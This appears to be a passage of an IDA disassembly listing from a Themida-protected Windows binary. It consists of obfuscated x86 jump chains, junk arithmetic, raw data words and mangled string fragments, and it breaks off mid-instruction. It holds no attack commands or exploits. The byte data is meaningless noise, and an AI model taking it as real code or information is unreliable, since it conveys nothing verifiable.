xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_54FA5D ; --------------------------------------------------------------------------- dw 48Bh aSep db '$Иep',0 align 2 dw 0E95Bh dd 451Dh, 240C8B66h, 7EE768h, 1560E900h, 0FB890000h, 2434FF5Fh dd 4AFFE9h, 66AD6600h, 9B5CE952h, 0BB680000h, 89000020h dd 5253243Ch, 823CB8BAh, 5AD3897Ch, 0F381DBF7h, 692EE4h dd 0EDA8F381h, 5F538314h, 0FFFA015Bh, 3C8B2434h, 0E0895024h dd 405h, 4C08300h, 5C240487h, 8704C483h, 20E92414h, 50000040h dd 0FFEEFBE9h, 0DAC681FFh, 810C793Ch, 0F760D6EEh, 5EF32994h dd 2F8B6866h, 240C8966h, 0C033B753h, 38E902EFh, 0BF00008Dh dd 35659188h, 34FFF801h, 845FE924h, 3C890000h, 81E78924h dd 4C7h, 7AC5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_545FFE: ; CODE XREF: Themida_:00546D1Bj mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push ebx mov ebx, esp jmp loc_54C3DF ; --------------------------------------------------------------------------- dw 0F001h dd 2121E9h db 0 ; --------------------------------------------------------------------------- loc_546025: ; CODE XREF: Themida_:0054AE4Ej pop ebp sub ebp, 0ACD7EC5h push ebx mov ebx, 4D8F6771h push esi jmp loc_54C329 ; --------------------------------------------------------------------------- loc_546038: ; CODE XREF: Themida_:00549B50j mov edx, 74B5C42h xor ebx, edx jmp loc_54AE8E ; --------------------------------------------------------------------------- dd 6659E830h, 6631C568h, 0B5240C89h, 0E9EB28CFh, 9133h ; --------------------------------------------------------------------------- loc_546058: ; CODE XREF: Themida_:00548C36j add edx, 4 jmp loc_5506FA ; --------------------------------------------------------------------------- db 0FFh dd 83592434h, 26E904C4h, 0AC000094h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54EA40 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC81240Ch, 4, 47D3E9h db 0 ; --------------------------------------------------------------------------- loc_54608D: ; CODE XREF: Themida_:00544CBBj not edx push 2630h jmp loc_54CED3 ; --------------------------------------------------------------------------- db 53h, 0BBh, 4Fh dd 0C110345Ch, 7BE907E3h, 6800002Bh, 3AF3h, 0E9241C89h dd 4363h, 242C335Ah, 1669E9h, 0E9D52900h, 1FD6h, 0CC2055Fh dd 0D82918B4h, 0B40CC22Dh, 2434FF18h, 83241C8Bh, 0C48304C4h dd 4EC8104h, 89000000h, 0FBE9242Ch, 0D00002Dh, 771378A6h dd 716FE9h, 2DD80100h, 36117417h, 7E703C2Dh, 0E7895749h dd 4C781h, 0EC810000h, 4, 0B8240489h, 17D54969h, 0D549652Dh dd 58C72917h, 0E9243C87h, 67FFh ; --------------------------------------------------------------------------- loc_546128: ; CODE XREF: Themida_:0054C95Aj mov ebx, edi jmp loc_54CE4A ; --------------------------------------------------------------------------- loc_54612F: ; CODE XREF: Themida_:005456F8j pop eax mov eax, [esp] add esp, 4 push edi mov edi, 18377FA7h shr edi, 6 add edi, 690A294Ah sub eax, 496623A7h sub eax, edi add eax, 496623A7h push dword ptr [esp] jmp loc_54BAB6 ; --------------------------------------------------------------------------- dd 150B68h, 48F5400h, 3E685624h, 89000068h, 21E9242Ch db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_546173: ; CODE XREF: Themida_:0054A68Dj pop esp shr eax, 0Ch xor eax, ecx push 327Bh mov [esp], eax push 5D4Ah mov [esp], ecx jmp loc_545E3C ; --------------------------------------------------------------------------- loc_54618E: ; CODE XREF: Themida_:0054F69Cj xor ecx, edi jmp loc_546378 ; --------------------------------------------------------------------------- loc_546195: ; CODE XREF: Themida_:00550379j add dword ptr [esp], 4 mov edi, [esp] jmp loc_545AD0 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h aLFSvl db '▀$$fс$$°И╒L',0 db 0 ; --------------------------------------------------------------------------- loc_5461B1: ; CODE XREF: Themida_:0054B738j push 0 pop ecx jmp loc_54C86C ; --------------------------------------------------------------------------- loc_5461BC: ; CODE XREF: Themida_:005485A5j sub eax, 5E9D3922h sub esi, eax pop eax not esi push edi mov edi, 0D24EBF68h sub esi, edi pop edi sub ebp, esi pop esi push ecx mov ecx, 0FD6D14EFh xor ebp, ecx jmp loc_54AFD9 ; --------------------------------------------------------------------------- aQiIS db 'Q┬я┬оИ╟:',0 db 0 ; --------------------------------------------------------------------------- loc_5461E9: ; CODE XREF: Themida_:0054DDFAj push esi push edx mov edx, 1D925525h mov esi, 39BE8B30h xor esi, edx jmp loc_5478C7 ; --------------------------------------------------------------------------- loc_5461FC: ; CODE XREF: Themida_:0054A6A8j mov ecx, 4 add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push edi sub esp, 4 mov [esp], eax jmp loc_546A66 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C3h dd 4, 4EB81h, 1C330000h, 241C3124h, 5223E9h, 4C48100h dd 0E9000000h, 0FFFFEF6Eh, 0E904C483h, 9E4Eh, 77D9F181h dd 0CD0901CDh, 8CC58159h, 0E9440280h, 7FCFh, 4C4815Bh dd 0C1000000h, 814A05E2h, 46C2DDF2h, 2EACE978h, 0E95D0000h dd 656Fh, 0D2F7D2F7h, 81DAF74Ah, 0B9A8B7F2h, 8BF231D1h dd 0E9522434h, 23B7h, 891C94BFh, 0F8895051h, 242C8150h dd 167D5F71h, 5D48E9h, 4C18100h, 83000000h, 0C8704C1h dd 0EEE95C24h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5462B7: ; CODE XREF: Themida_:00548A58j push esp jmp loc_54CC2F ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 4C2815Ah, 81000000h, 4C2h, 24148700h, 8AB9515Ch dd 8173F466h, 7349EAF1h, 8E9C154h, 7982F181h, 1DE94B58h dd 8700007Eh, 835C241Ch, 5AE904ECh, 6800000Dh, 5DE2h, 1922E9h db 0 ; --------------------------------------------------------------------------- loc_546305: ; CODE XREF: Themida_:00550B20j pop ebp push esi jmp loc_54D7AE ; --------------------------------------------------------------------------- aZLISt db '^┤,$▀$$┴,$ИБ',1Bh,0 db 0 ; --------------------------------------------------------------------------- loc_54631B: ; CODE XREF: Themida_:0054EC0Ej push 617Fh mov [esp], edx jmp loc_5456D0 ; --------------------------------------------------------------------------- dd 2783EA81h, 59E91BDEh, 68FFFFEFh, 6F84h, 89241489h, 4C281E2h dd 83000000h, 143304C2h, 24143124h, 8B241433h, 34FF2424h dd 9D685824h, 8900007Fh, 8B54240Ch, 0C481240Ch, 4, 0FFFC4AE9h dd 4EC83FFh, 0E9240489h, 42F8h ; --------------------------------------------------------------------------- loc_546378: ; CODE XREF: Themida_:00546190j pop edi jmp loc_54E869 ; --------------------------------------------------------------------------- dw 32FFh dd 0FFE78DE9h db 0FFh ; --------------------------------------------------------------------------- loc_546385: ; CODE XREF: Themida_:0054B1EAj mov esi, [esp] add esp, 4 push 0D4Ah mov [esp], ecx mov ecx, 1FEF07C4h shl ecx, 7 xor ecx, 9E9F8F32h xor esi, ecx pop ecx mov edi, [esp] push esi push esp pop esi jmp loc_549E74 ; --------------------------------------------------------------------------- dw 0DAF7h dd 0D2F7D2F7h, 2E8CE9h db 0 ; --------------------------------------------------------------------------- loc_5463BD: ; CODE XREF: Themida_:00549857j sub edi, 0ABEEA8FFh push edi pop esi mov edi, [esp] add esp, 4 jmp loc_54818B ; --------------------------------------------------------------------------- db 0BFh dd 3C162064h, 1251C781h, 0C781342Dh, 0B5894456h, 86E9F801h dd 66000015h, 0E9241489h, 42A5h, 0FF2434FFh, 48B2434h dd 4C48324h, 451F6855h, 24890000h, 24048124h, 4, 0FFEA63E9h dd 88E952FFh, 83000017h, 665804C4h, 50241C8Bh, 0B9E9E089h dd 890000AAh, 5EB62414h, 0F311E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546436: ; CODE XREF: Themida_:0054B249j inc dword ptr [esp] pushf jmp loc_54BE57 ; --------------------------------------------------------------------------- db 54h dd 0BE56575Dh, 69EF4576h, 565EF789h, 0F27F6CBEh, 0A108E900h dd 34FF0000h, 0C4815A24h, 4, 15006866h, 240C8966h, 78036866h dd 24148966h, 3138E9h, 240C8B00h, 4C481h, 15D0000h, 0DEE95FFDh dd 0AD00007Dh, 48308E05h, 0ACDEE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_546492: ; CODE XREF: Themida_:0054C848j push edx sub esp, 4 mov [esp], ecx jmp loc_54E5E1 ; --------------------------------------------------------------------------- dw 0C581h dd 15A16561h, 14A8C581h, 0C58157CDh, 225D385Eh, 0ED81FD01h dd 225D385Eh, 14A8ED81h, 0ED8157CDh, 15A16561h, 0E9243C8Bh dd 3694h, 1B50130Dh, 0C9BE90Dh, 0B3680000h, 591C9C3Bh dd 4920E9h, 2038B300h, 0FE5B66D9h, 78C180C1h, 0B7E9CF00h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5464F3: ; CODE XREF: Themida_:0054FEE0j pop ebp movzx ax, byte ptr [eax] push ebx mov ebx, esp push 53F5h mov [esp], edi jmp loc_54940B ; --------------------------------------------------------------------------- dd 5758C729h, 42474FFh, 0FFF9D4E9h, 81E789FFh, 4C7h, 4C78300h dd 2474FF57h, 48F5F04h, 0E9515C24h, 5A3Eh, 243C3166h, 56665766h dd 243C8B66h, 6602C483h, 2EC815Eh, 66000000h, 66243489h dd 66243C87h, 5766D7F7h, 2474FF66h, 0EA1BE902h, 9268FFFFh dd 89000005h, 67E92434h, 0D1FFFFE8h, 3EBC1E3h, 5C68DBF7h dd 89000069h, 31BD242Ch, 811AC028h, 275EBEF5h, 5DEB29F8h dd 15BDD29h, 0EA835DEAh, 9431E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546596: ; CODE XREF: Themida_:00550B53j inc eax xor eax, 6734279Bh xor eax, 786B7872h jmp loc_54DDFF ; --------------------------------------------------------------------------- dw 0BF57h dd 3B5F1FC5h, 709DE781h, 0E7C12A98h, 2AE1E903h, 0C2810000h dd 4, 6F0AE9h db 0 ; --------------------------------------------------------------------------- loc_5465C5: ; CODE XREF: Themida_:0054934Aj xor edi, 132829ADh sub ebx, edi jmp loc_544DAC ; --------------------------------------------------------------------------- dw 0FB01h dd 0ED39E95Fh, 665BFFFFh, 14F76655h, 4B9AE924h, 34330000h dd 24343124h, 5C243433h, 0A6E9E9h, 81E58100h, 81286977h dd 60F0B7EDh, 0ED814DC2h, 5DC07345h, 65CFE9h, 81E38900h dd 4C3h, 4EB8300h, 8B241C87h, 4892424h, 2474FF24h, 2434FF04h dd 3BE5E9h, 0E2055F00h, 2D634459h, 8F74B3FCh, 158C729h dd 8874E9F8h, 74FF0000h, 8F5B0424h, 248B2404h, 24148924h dd 4BAh, 0E2C38100h, 14FC95Fh, 0E2EB81D3h, 5A4FC95Fh, 2C381h dd 1C870000h, 0E1F65C24h, 0CCB60F66h, 6ED9E9h, 241C8900h dd 3D3B68h, 24248900h, 4240481h, 8B000000h, 0C483241Ch dd 4BF5704h, 81000000h, 1218C4C3h, 81FB010Bh, 1218C4EBh dd 243C8B0Bh, 4C481h, 0EC830000h, 24148904h, 2BAh, 5AD32900h dd 31241C33h, 1C33241Ch, 89665C24h, 50662414h, 0E440E99Ch dd 0E950FFFFh, 854Ah, 0A73E69BDh, 4EDC149h, 3057E9h db 0 ; --------------------------------------------------------------------------- loc_5466E5: ; CODE XREF: Themida_:00549582j pop ebp add ecx, 4 jmp loc_54B314 ; --------------------------------------------------------------------------- aOpUsV db '╠oP╢UИ',1Bh,'v',0 align 4 dd 81E7D158h, 3A4DBBEFh, 0F9EF8106h, 1C01ADAh, 0C1835FF9h dd 9690E904h, 0E6890000h, 0E9D8E951h, 66ACFFFFh, 666DD268h dd 0B3241C89h, 34BFE9BBh, 0C4830000h, 58C30104h, 4EB81h dd 1C870000h, 34895C24h, 48E95924h, 81000073h, 911C94EFh dd 81F7295Fh, 911C94C7h, 0D8E95E5Fh, 5C000082h, 9C240431h dd 0FFE3B1E9h db 0FFh ; --------------------------------------------------------------------------- loc_546761: ; CODE XREF: Themida_:0054ABD0j push ebx mov ebx, esp push edi jmp loc_5479B0 ; --------------------------------------------------------------------------- loc_54676A: ; CODE XREF: Themida_:0054975Dj push edi mov edi, 45F0239Bh jmp loc_5490CF ; --------------------------------------------------------------------------- db 68h, 81h, 24h dd 2C890000h, 0E41BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546782: ; CODE XREF: Themida_:0054D399j pop edx push esi mov esi, 2456102Fh jmp loc_54FB56 ; --------------------------------------------------------------------------- dw 0D001h dd 943AAF2Dh, 241F2D36h, 0DD2D6C36h, 5A636970h, 31240433h dd 4332404h, 0FF665C24h, 0E99C2404h, 0FFFFE35Eh, 75EB815Bh dd 10FAE1Dh, 241C8BD8h, 5304C483h, 2BBh, 8BD80100h, 0C7E9241Ch dd 0BB000023h, 5EAB000Ch, 2F0FF381h, 81437483h, 520DC2EBh dd 0E9DD010Ah, 4ACFh, 13B0BB53h, 4B434C2Bh, 3BE6EB81h dd 0C3811DF6h, 0BAB43C4h, 0E95BDD31h, 29AEh ; --------------------------------------------------------------------------- loc_546808: ; CODE XREF: Themida_:0054F3B4j mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_54F5EF ; --------------------------------------------------------------------------- dd 4EC81h, 0D8E90000h db 6, 2 dup(0) ; --------------------------------------------------------------------------- loc_546827: ; CODE XREF: Themida_:0054D676j pop eax push edx mov edx, 19800B06h jmp loc_545306 ; --------------------------------------------------------------------------- db 59h dd 0B8505758h, 0E6B2239h, 0ACEC62BFh, 0E9C7016Dh, 7F3Ah ; --------------------------------------------------------------------------- loc_546848: ; CODE XREF: Themida_:00550DFCj mov ebp, 45DB2551h xor esi, ebp pop ebp shr esi, 3 neg esi neg esi dec esi sub esi, 0D6EAB551h jmp loc_54CE10 ; --------------------------------------------------------------------------- db 1 dd 0C3815AD3h, 4, 2474FF53h, 2F1EE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546876: ; CODE XREF: Themida_:00544D87j mov edx, [esp] add esp, 4 xchg ebx, [esp] pop esp cmp ecx, eax pushf jmp loc_544B12 ; --------------------------------------------------------------------------- db 40h dd 832AC35h, 35D8F77Ch, 0C830E094h, 7E3EE9h, 0ADE95D00h dd 5B000095h, 4EC81h, 34890000h, 4BE24h, 0C1810000h, 292B0E19h dd 0E981F129h, 292B0E19h, 74FF515Eh, 0C8B0424h, 5121E924h dd 87680000h, 5E041965h, 6EEE814Eh, 89D476EEh, 51E95EF0h db 20h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5468E3: ; CODE XREF: Themida_:0054E576j pop edx add esp, 4 shr ecx, 7 jmp loc_550A7A ; --------------------------------------------------------------------------- loc_5468F2: ; CODE XREF: Themida_:0054E174j add esp, 4 pop ecx not ecx xchg ecx, edi sub edi, 0E1AACFA1h and eax, edi mov edi, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_54B7FD ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 1000000h, 0C18358C1h, 240C8704h, 0F624248Bh, 80D6F6DEh dd 8CE9A9EEh, 0B9000068h, 6D345E9Eh, 6D9BE9h, 50C68900h dd 40B8h, 0C260500h, 0F8011FC9h, 6893E9h, 4C48300h, 535968h dd 904E900h, 0A5680000h, 0E90DE57Eh, 1A27h ; --------------------------------------------------------------------------- loc_546970: ; CODE XREF: Themida_:005490CAj xchg edx, [esp] pop esp mov [esp], ebx mov ebx, 2 sub ebp, 518450CAh sub ebp, ebx add ebp, 518450CAh mov ebx, [esp] push esi push esp pop esi jmp loc_54F8AF ; --------------------------------------------------------------------------- db 0E9h, 78h, 0E1h dd 0C483FFFFh, 12C38104h, 16D0D03h, 12EB81FBh, 5F6D0D03h dd 2BF57h, 0FB010000h, 74FF535Fh, 0E95B0424h, 9A17h, 10FDE95Bh dd 57510000h, 6A61F768h, 243C8B3Eh, 4C481h, 0E9500000h dd 1DC2h, 0F9E9E389h, 1000051h, 671405E8h, 875D5647h, 2CE92404h db 0A3h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5469F3: ; CODE XREF: Themida_:0054CFF4j push ax mov ah, 0A4h sub bh, ah pop ax xor al, bh pop ebx push 1F33h jmp loc_5473E8 ; --------------------------------------------------------------------------- dd 153E7CBBh, 0C2F3813Dh, 81653715h, 222BBAF3h, 8BDE0158h dd 0C5E9241Ch db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546A23: ; CODE XREF: Themida_:0054E878j pop edi add edi, 4 add edi, 4 xchg edi, [esp] pop esp or edx, eax jmp loc_54F870 ; --------------------------------------------------------------------------- db 4Dh dd 0F8E5814Dh, 812C3B63h, 6D1E13EDh, 0FBA7E93Ch, 0E95AFFFFh dd 0B5Fh, 9964582Dh, 1106833h, 0C890000h, 8668E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546A66: ; CODE XREF: Themida_:00546218j push edx mov edx, 1E3304D3h jmp loc_5453D6 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 4BD55h, 0E9010000h, 240C875Dh, 4C4815Ch, 0E9000000h dd 0A414h, 0E904C483h, 15AFh, 54FA6852h, 815A0D68h, 284FA1EAh dd 5AD58993h, 1C81CD81h, 0EDC15BA5h, 83E5D104h, 148904ECh dd 6F69BA24h, 0F3E928B8h, 81FFFFF8h, 8C279DCFh, 4E7C10Ch dd 212C781h, 0C381053Ch, 39A9440Fh, 77CAE9h, 2993BB00h dd 0DA8963A9h, 5AD6895Bh, 7E6C146h, 4155E955h, 0C8B0000h dd 4C48324h, 4C481h, 0C6810000h, 40607BE2h, 90E9EE01h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546B07: ; CODE XREF: Themida_:0054AAC0j mov [esp], edx mov dh, al jmp loc_550A66 ; --------------------------------------------------------------------------- db 56h, 0BEh, 54h dd 814E0603h, 0E67180EEh, 13B95150h, 49685D57h, 31BBE981h dd 0D1F771CFh, 3746C181h, 0E1815ADBh, 17C3694Ah, 479BE9h dd 0F0C28100h, 1539B53h, 0F0EA81DAh, 5B539B53h, 2BD55h dd 0EA010000h, 0E9242C8Bh, 87ECh, 2709E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_546B62: ; CODE XREF: Themida_:00549638j mov ecx, esp jmp loc_548781 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 6624248Bh, 2404B30Fh, 2714E99Ch, 48F0000h, 24895C24h dd 24048324h, 22C8E904h, 0E9410000h, 9E1Bh, 24048B66h dd 0FFF1D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_546B99: ; CODE XREF: Themida_:00550F48j push ecx mov ecx, 3ADC283Eh xor esi, ecx pop ecx pop edx jmp loc_54D27D ; --------------------------------------------------------------------------- dd 0BD55E389h, 4, 505DEB01h, 4B8h, 8BC32900h, 0C4832404h dd 1026804h, 1C890000h, 5C0AE924h, 0CE800000h, 6ECE80B9h dd 0F680DEF6h, 33E952B4h, 59000041h, 31241C33h, 1C33241Ch dd 579BE924h, 48B0000h, 4C48324h, 0F32BE56h, 0F74E6FB6h dd 6EEC1D6h, 0FFF3B8E9h, 0EC8352FFh, 24248904h, 0FFF6ACE9h db 0FFh ; --------------------------------------------------------------------------- loc_546C11: ; CODE XREF: Themida_:00545208j sub eax, ecx jmp loc_54DFCD ; --------------------------------------------------------------------------- dd 5C243487h, 2F7E9h, 0BE0F6600h, 0EC8156C8h, 4, 0E9242489h dd 8798h, 287E68h, 241C8900h, 7AE6855h, 22E90000h, 5A000081h dd 729DE9h, 4CBF5700h, 0B97B3F12h, 7B3F1248h, 15FF931h dd 2434FFCEh, 0E1895159h, 4C181h, 0C1830000h, 240C8704h dd 2C6815Ch, 81000000h, 4ECh, 24348900h, 42474FFh, 3029E9h dd 1CB85000h, 0F75E462Dh, 7A3540D0h, 0F7458A4Bh, 99A305D0h dd 0C101E433h, 2221E958h, 3C890000h, 835F5424h, 348904ECh dd 33BCE924h, 0C9810000h, 2D8B64BBh, 0F708E1C1h, 6E1C1D9h dd 3FFCE981h, 0CE012491h, 0E1895159h, 0FFE433E9h db 0FFh ; --------------------------------------------------------------------------- loc_546CD5: ; CODE XREF: Themida_:0054ABFFj mov ebx, [esp] jmp loc_54546B ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 5 dd 65EFE9h, 0B8C68100h, 0E97F2746h, 0A2A0h ; --------------------------------------------------------------------------- loc_546CF0: ; CODE XREF: Themida_:0054AEB7j xor edi, 77F65301h not edi jmp loc_54AAB4 ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 0EC83535Ch, 24048904h, 88D58851h, 1806E9E8h, 5A660000h dd 69F5E9h db 0 ; --------------------------------------------------------------------------- loc_546D19: ; CODE XREF: Themida_:0054983Ej pop ecx push edi jmp loc_545FFE ; --------------------------------------------------------------------------- dd 0C01786BEh, 2F26E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_546D2A: ; CODE XREF: Themida_:00549489j mov edx, 50DF4DD4h jmp loc_5501A7 ; --------------------------------------------------------------------------- dd 0E904EC83h, 1534h, 68240C8Bh, 3C5Eh, 54242C89h, 9C05E9h dd 0C8B6600h, 5F736824h, 1C890000h, 2575E924h, 1E240000h dd 0E953A104h, 6D82h, 8124348Bh, 4C4h, 0C5815900h, 2, 8B242C87h dd 87E92424h, 8100007Ah, 4FA249F3h, 245F89B5h, 0FFDEA4E9h dd 4C483FFh, 0CE6E955h, 8B660000h, 0AEE9240Ch, 68000092h dd 1E48h, 0E9240489h, 513Ch, 5C241487h, 0F0EDE953h, 8B66FFFFh dd 3068240Ch, 8900000Dh, 77E9242Ch db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546DCB: ; CODE XREF: Themida_:00550D0Fj mov [esp], ebp mov ebp, 1BEA0B0Bh sub eax, 2CCC7938h sub eax, ebp jmp loc_550737 ; --------------------------------------------------------------------------- a_sC db '_ИяC',0 dd 243C8700h, 14E6685Ch, 3C890000h, 416DE924h, 0E95D0000h dd 13DFh ; --------------------------------------------------------------------------- loc_546DFC: ; CODE XREF: Themida_:005501A2j xchg ebp, [esp] pop esp xor bl, al push 6159h mov [esp], edx sub esp, 4 mov [esp], ecx mov cl, al jmp loc_544FD6 ; --------------------------------------------------------------------------- aRsp db 'RИP/',0 dd 1C77FF00h, 0D359669Dh, 0E99C2414h, 0FFFFDCE6h ; --------------------------------------------------------------------------- loc_546E2C: ; CODE XREF: Themida_:0054CA31j add esp, 4 push dword ptr [esp] pop edi push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop ecx push 0E62h mov [esp], esi push 792Ah mov [esp], edx push edi mov edi, 6AD6002Fh mov edx, 952DFFD1h add edx, edi jmp loc_550F3E ; --------------------------------------------------------------------------- dd 5024048Bh, 0BD3E9h, 4B900h, 0C2810000h, 5D7C4484h, 0EA81CA01h dd 5D7C4484h, 24148759h, 68C80F5Ch, 73D6h, 0E9240489h dd 0FFFFDC76h, 645EE956h, 0C2010000h, 5AD00158h, 3302C083h dd 4312404h, 24043324h, 40E9515Ch db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_546EBB: ; CODE XREF: Themida_:005473F8j sub al, 6Ch sub al, bh push 0F27h mov [esp], ebx push edx mov dl, 0B9h mov bl, dl pop edx jmp loc_54EBEB ; --------------------------------------------------------------------------- dw 0EE81h dd 952F1905h, 348BF329h, 4C48124h, 51000000h, 0B856D2B9h dd 1E9816Ah, 53000000h, 933467BBh, 5BD92961h, 4DE9CB01h dd 8900004Ah, 4BD242Ch, 50000000h, 8E37E9h, 0C2BA5E00h dd 0E94D145Fh, 5BE5h, 9C240401h, 0FFDBF1E9h, 70E6BAFFh dd 12BB32BCh, 0E932BC71h, 9186h, 242C8B5Ch, 0E9E68956h dd 0C55h ; --------------------------------------------------------------------------- loc_546F3C: ; CODE XREF: Themida_:0054CCB6j sub esp, 4 jmp loc_551183 ; --------------------------------------------------------------------------- dd 0E9240C8Bh, 1336h ; --------------------------------------------------------------------------- loc_546F4C: ; CODE XREF: Themida_:0054C63Dj push ebp mov ebp, 0A73274Ch shl ebp, 2 push ebp push eax pop ebp pop eax dec eax xchg eax, ebp not ebp jmp loc_54AE46 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 0BAFE9h, 4C48100h, 8B000000h, 54522404h, 4BE565Ah dd 1000000h, 0C2835EF2h, 24148704h, 3524248Bh, 387506E4h dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 8BBEh, 592434FFh dd 0E904C483h, 5F50h ; --------------------------------------------------------------------------- loc_546FB0: ; CODE XREF: Themida_:0054EA98j xor [esp+4], esi pop esi push dword ptr [esp] mov eax, [esp] push eax jmp loc_5509D9 ; --------------------------------------------------------------------------- db 0BBh, 11h, 3Eh aKysu0 db 'kyИU0',0 db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54F36A ; --------------------------------------------------------------------------- db 1 aDXsgm db 'D$',8,'XИ┐▄',0 db 0 ; --------------------------------------------------------------------------- loc_546FDD: ; CODE XREF: Themida_:0054BB18j push esp mov ecx, [esp] add esp, 4 add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp loc_546FF4: ; CODE XREF: Themida_:0054788Fj push 5952h mov [esp], ebx mov eax, [esp] push ebx mov ebx, esp push edx mov edx, 4 add ebx, edx mov edx, [esp] add esp, 4 push ebp mov ebp, 2225B65h push eax mov eax, 719F3DD7h sub ebp, eax jmp loc_54573B ; --------------------------------------------------------------------------- dw 3158h dd 24348BF1h, 4C481h, 0F1810000h, 6E9E613Fh, 9560E9h, 24248B00h dd 0FFDACDE9h db 0FFh ; --------------------------------------------------------------------------- loc_547045: ; CODE XREF: Themida_:0054F30Bj shr edi, 4 dec edi push ecx push eax mov eax, 41EA42F5h jmp loc_548CF6 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4832424h, 55E90424h, 5E00009Ch, 4C681h, 0BA520000h dd 4, 1408C681h, 0D60107CEh, 1408BF57h, 0FE2907CEh, 83243C8Bh dd 565A04C4h, 42474FFh, 24048F5Eh, 0E956525Ch, 0FFFFDAC8h ; --------------------------------------------------------------------------- loc_54709C: ; CODE XREF: Themida_:00548E5Ej push ebx mov ebx, esp add ebx, 4 jmp loc_5474FD ; --------------------------------------------------------------------------- dw 0C483h dd 5084E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5470B2: ; CODE XREF: Themida_:0054F374j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp movsx ecx, al push 45FFh mov [esp], ecx jmp loc_5506CB ; --------------------------------------------------------------------------- dd 4305E829h, 5D684514h, 7A34E9h, 0B9515200h, 5E84688Fh dd 0E959CA89h, 6C59h, 2D63EE05h, 0EC835928h, 241C8904h dd 6C7FE9h, 0E9C50000h, 54ADh, 0CE1B850h, 16E968E1h, 0B9FFFFE2h dd 4CB6160Ah, 40E9C801h, 0FF000010h, 148B2434h, 4C48324h dd 0CAE95450h, 81000018h, 0F119B3EBh, 128EE975h, 0E5890000h dd 4EDB951h, 0E98137DFh, 47DA7BDCh, 82CFE941h, 0F8310000h dd 81243C8Bh, 4C4h, 0EFBA5200h, 0E94411A7h, 61A7h ; --------------------------------------------------------------------------- loc_547160: ; CODE XREF: Themida_:0054AB98j idiv ecx push 0C73h mov [esp], edx push eax pushf jmp loc_544B12 ; --------------------------------------------------------------------------- db 0F7h, 0D8h, 0C1h aS5SSC db 'Х',8,'5©≥"-)аИьC',0 align 2 loc_547182: ; CODE XREF: Themida_:00545CDEj pop ebx xchg esi, [esp] pop esp jmp loc_544B12 ; --------------------------------------------------------------------------- loc_54718C: ; CODE XREF: Themida_:005505C2j mov ebp, edi jmp loc_54FEDD ; --------------------------------------------------------------------------- loc_547193: ; CODE XREF: Themida_:0054738Aj add ebp, 0D5F11C09h mov ecx, ebp pop ebp inc ecx sub ecx, 79F5592h add ecx, 0FD217C5Fh mov edi, ecx mov ecx, [esp] add esp, 4 neg edi not edi and edi, 39F633B5h push eax mov eax, 332453DDh shl eax, 1 sub eax, 82F6F2E2h sub edi, eax pop eax xor eax, edi pop edi push 2674h mov [esp], ebp push eax mov eax, 476B4E07h push edi push 1C49h mov [esp], eax jmp loc_545BA5 ; --------------------------------------------------------------------------- db 0E9h, 20h, 0D9h dd 0E956FFFFh, 5222h ; --------------------------------------------------------------------------- loc_5471F8: ; CODE XREF: Themida_:00549359j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_548699 ; --------------------------------------------------------------------------- dd 0BF575D54h, 3FD213ACh, 127DE9h, 0C8B5A00h, 0E2895224h dd 0FFF39DE9h, 2434FFFFh, 8124148Bh, 4C4h, 0D8E95100h dd 6600006Bh, 6020EB81h, 81C32966h, 4ECh, 242C8900h, 4EC8156h dd 89000000h, 68662414h, 5A667111h, 1C28166h, 0CA81663Dh dd 0E1E96B09h, 81000005h, 590375E2h, 5B04E97Fh, 2C890000h dd 91E95124h, 8100007Ch, 4C4h, 4EC8300h, 0FF243C89h, 8B042474h dd 0E957243Ch, 4A77h, 9D1C77FFh, 24041958h, 306EE99Ch dd 8B660000h, 0EC812404h, 4, 68243C89h, 3C2Dh, 89241C89h dd 4C381E3h, 81000000h, 4EBh, 241C8700h, 6853E9h db 0 ; --------------------------------------------------------------------------- loc_5472C5: ; CODE XREF: Themida_:005500D2j mov esi, 321C5E56h or esi, 23126208h add esi, 14DA3CAAh add esi, 411251CAh shl esi, 2 inc esi add 